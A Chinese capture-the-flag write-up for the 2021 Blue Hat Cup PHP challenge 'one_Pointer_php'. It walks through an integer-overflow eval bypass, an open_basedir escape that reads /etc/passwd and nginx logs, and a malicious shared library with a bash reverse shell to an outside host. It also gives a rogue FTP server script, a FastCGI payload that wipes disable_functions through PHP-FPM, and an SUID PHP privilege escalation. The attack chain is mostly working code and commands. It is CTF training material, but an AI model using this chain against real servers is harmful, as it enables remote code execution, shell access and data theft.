2021_Blue_Hat_WP

怎么说呢,比赛安排在周四,没啥时间打,队友们都上课去了,我寝室也有事情,所以这次比赛就这样了,打得不好,但是赛后还是要复现一下。

web1 Ball_sigin

签到题,js 游戏,没看。

真的是玩游戏,没事了。

web2 one_Pointer_php

php,最终目的 disable_function,不会,等一波赛后 WP 复现了。

user.php

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<?php
class User{
public $count;
}
?>

add_api.php

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<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

可以注意到我们需要执行 eval,但是我们先要使 $count=1 返回一个 false,怎样才能让一个不是赋 0 的赋值语句返回 false 呢……

想到了溢出,关于 $count[]=1,我们可以发现这样一个有趣的现象:

可以观察到 $count[]=2,会数组的从最后一位位置向后 add,所以如果我们使用 php max long 的话,应该可以使返回出现问题从而绕过 if($count[]=1)

可以发现确实报错了,所以我们可以开始 eval 了,构造 data:

O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

success,ok,看看 disable_function 吧:

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disable_classes: Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SodiumException
disable_functions: stream_socket_client,fsockopen,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive

好狠,之前 @LemonPrefect 师傅和👴说他觉得可以试试反射类:

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<?php
$a = new ReflectionClass(system('calc')()) ;
$count[++$a]=1;
if($count[]=1){
echo "No";
}else{
echo "Yes";
}

不过 disable_classes 里面把能封的都封了,所以没办法,只能绕 df 了,害,不会了。

可以通过 DirectoryIterator 列出目录:

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$a=new DirectoryIterator("glob:///*");foreach($a as $f){ echo($f->__toString().'<br>'); }

很神奇的是想要列出 /tmp 的时候如果不用形如 $a=new DirectoryIterator("glob:///*mp/*");foreach($a as $f){ echo($f->__toString().'<br>'); } 这样子,而是直接 /tmp 的话会读不出(不解)

open_basedir,绕一下可以读取一些基本文件:

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mkdir('Du1');
chdir('Du1');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/etc/passwd"));

flag 读不了,参考了 @HA1C9ON 大佬的博客发现读取 php.ini 可以发现 so 文件,不过 BUU 里把这个预期解删掉了,但是还有别的方法可以做。

查看 phpinfo 知道进程为 php-fpm(也可以通过 /proc/self/cmdline 得知)

访问错误日志,得到 FPM 监听端口 9001

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mkdir('Du1');
chdir('Du1');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
var_dump(file_get_contents("/var/log/nginx/error.log"));


众所周知,如果我们能向 PHP-FPM 服务发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与 gopher:// 协议结合使用,curl 支持 gopher:// 协议,但 file_get_contents 却不支持。

另一个已知的允许通过TCP发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。

现在,由于该 laravel 漏洞中file_get_contents()和file_put_contents()这两个函数在作祟,如果我们尝试使用 viewFile=ftp://evil-server/file.txt 来利用这个漏洞,会发生以下情况:

  • file_get_contents()连接到我们的FTP服务器,并下载 file.txt
  • file_put_contents()连接到我们的FTP服务器,并将其上传回 file.txt

现在,你可能已经知道这是怎么回事:我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:9000。

这样,我们就可以向目标主机本地的PHP-FPM发送一个任意的数据包,从而执行代码,造成SSRF。


引用自 Laravel Debug mode RCE(CVE-2021-3129)漏洞复现

尝试加载恶意 so 文件,编写扩展:

hpdoger.c

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#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/xxx.xx.xx.xxx/11451 0>&1'");
}

make

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gcc hpdoger.c -fPIC -shared -o hpdoger.so

上传至目标 /tmp 目录

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mkdir('Du1');
chdir('Du1');
ini_set('open_basedir','..');
chdir('..');chdir('..');chdir('..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir','/');
copy("http://vps/hpdoger.so","/tmp/hpdoger.so");

编写 python 脚本搭建恶意 ftp 服务器:

fuxk.py

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import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

后台运行:python fuxk.py &

然后开启监听,接受反弹 shell:nc -lvp 11451

然后执行一下脚本生成攻击 php-fpm 所需要的payload:

fastcgi.php

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<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

最后构造恶意代码:

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/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://aaa@xxx.xx.xx.xxx:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

当 ftp 建立连接后,会通过 ftp passive mode 模式将 payload 重定向到目标主机本地 9001 端口的 php-fpm 上,并成功反弹shell:

但是👴并没有读取 flag 的权限,所以这里需要提权,最常见的便是使用 suid 提权:

查看具有 suid 的命令:find / -perm -u=s -type f 2>/dev/null

在👴复现的时候死活没有查出 /usr/local/bin/php ,所以借用了别的师傅的图:

所以我们可以直接进入交互模式执行代码,得到 flag:

chdir('Du1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

完事